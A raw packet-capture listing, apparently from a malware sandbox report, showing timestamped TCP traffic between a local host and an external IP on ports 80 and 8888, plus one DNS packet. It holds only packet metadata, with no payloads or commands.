Jan 11, 2025 08:45:03.546148062 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546156883 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546207905 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.546283960 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546298981 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546315908 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546322107 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.546361923 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.546432018 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546448946 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546468973 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546485901 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546495914 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.546504974 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546521902 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546530008 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.546540976 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546585083 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.546637058 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546663046 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546680927 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546696901 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546703100 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.546715021 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546721935 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.546732903 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546751976 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.546814919 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546832085 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546849012 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546864986 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546875000 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.546883106 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546901941 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546910048 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.546919107 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546933889 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.546958923 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546967030 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.546986103 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.547003031 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.547019005 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.547025919 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.547035933 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.547050953 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.547063112 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.547070980 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.547086000 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.565869093 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.565924883 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.565941095 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.565962076 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.565996885 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.566042900 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.566050053 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.566096067 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.566103935 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.566140890 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.566175938 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.566224098 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.566278934 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.566315889 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.566325903 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.566406012 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.566416025 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.566418886 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.566421032 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.566442013 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.566457033 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.566481113 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.566483021 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.566489935 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.566494942 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.566529036 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.566562891 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.566570044 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.566600084 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.566612005 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.582393885 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.582429886 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.582464933 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.582520962 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.582571030 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.582612038 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.582639933 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.582648039 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.582674026 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.582694054 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.582695961 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.582746029 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.582792997 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.582798958 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.582833052 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.582868099 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.582901001 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.582921028 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.582936049 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.582945108 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.594631910 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.594686985 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.594696999 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.594724894 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.594758987 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.594794989 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.594796896 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.594830990 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.594868898 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.594892025 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.594916105 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.598934889 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.615571976 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.615639925 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.615695000 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.615730047 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.615746975 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.615765095 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.615797043 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.615799904 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.615835905 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.615835905 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.615869999 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.620678902 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.631973982 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632045031 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632086992 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632141113 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632147074 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.632198095 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.632199049 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632234097 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632287025 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.632294893 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632345915 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632381916 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632432938 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632436037 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.632467985 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632477999 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.632500887 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632551908 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632596016 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.632620096 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632654905 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632673025 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.632707119 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632761955 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632796049 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632817030 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.632832050 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632841110 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.632894993 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632930040 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.632978916 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.632982969 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633018970 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633025885 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.633053064 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633089066 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633132935 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633140087 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.633142948 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633156061 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633193016 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.633203030 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.633209944 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633244991 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633280039 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633307934 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.633333921 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633372068 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633408070 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633421898 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.633441925 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633451939 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.633476019 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633512020 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633546114 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633567095 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.633579969 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633589983 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.633615971 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633666992 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633701086 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633723974 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.633735895 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633748055 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.633769989 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633802891 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633853912 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633855104 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.633888960 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633912086 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.633924007 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633958101 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.633991003 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634006023 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.634026051 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634047031 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.634062052 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634098053 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634131908 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634150982 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.634166002 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634176970 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.634201050 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634236097 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634268999 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634296894 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.634303093 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634324074 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.634337902 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634371996 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634397030 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.634406090 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634439945 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634474993 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634501934 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.634510040 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634532928 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.634543896 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634578943 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634614944 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634629011 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.634658098 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.634663105 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634696007 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634731054 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.634852886 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.639837027 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.639899969 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.652606010 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.652663946 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.652700901 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.652760029 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.652761936 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.652821064 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.652818918 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.652863979 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.652915955 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.652919054 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.652951002 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.653017998 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.653065920 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.653070927 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.653105021 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.653119087 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.653141975 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.653176069 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.653222084 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.653230906 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.653275967 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.653278112 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.653315067 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.653352976 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.653388023 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.653398037 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.653423071 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.653426886 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.653458118 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.653492928 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.653538942 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.669455051 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.669512987 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.669562101 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.669612885 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.669622898 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.669646025 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.669651985 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.669687033 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.669719934 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.669735909 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.669754028 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.669768095 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.681340933 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.681543112 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.681581020 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.681617975 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.681643963 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.681652069 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.681683064 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.681687117 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.681709051 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.681723118 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.681766987 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.702528954 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.702601910 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.702639103 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.702672958 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.702698946 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.702707052 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.702740908 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.702750921 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.702788115 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.702799082 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.702820063 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.707123995 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.718983889 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719039917 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719089031 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719111919 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.719139099 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719182014 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.719203949 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719233990 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719268084 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719300985 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719304085 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.719341993 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.719353914 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719386101 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719443083 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719454050 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719482899 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.719504118 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719507933 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.719537973 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719572067 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719605923 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719613075 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.719635010 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719645977 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.719670057 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719703913 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719738007 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719752073 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.719774961 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.719777107 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.768767118 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.875772953 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:04.153522968 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:04.677608967 CET	49763	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:04.682414055 CET	8888	49763	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:04.682707071 CET	49763	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:04.682707071 CET	49763	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:04.687467098 CET	8888	49763	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:05.484621048 CET	8888	49763	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:05.534333944 CET	49763	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:05.951869011 CET	49763	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:45:11.950155973 CET	49654	53	192.168.2.9	1.1.1.1

DNS Queries

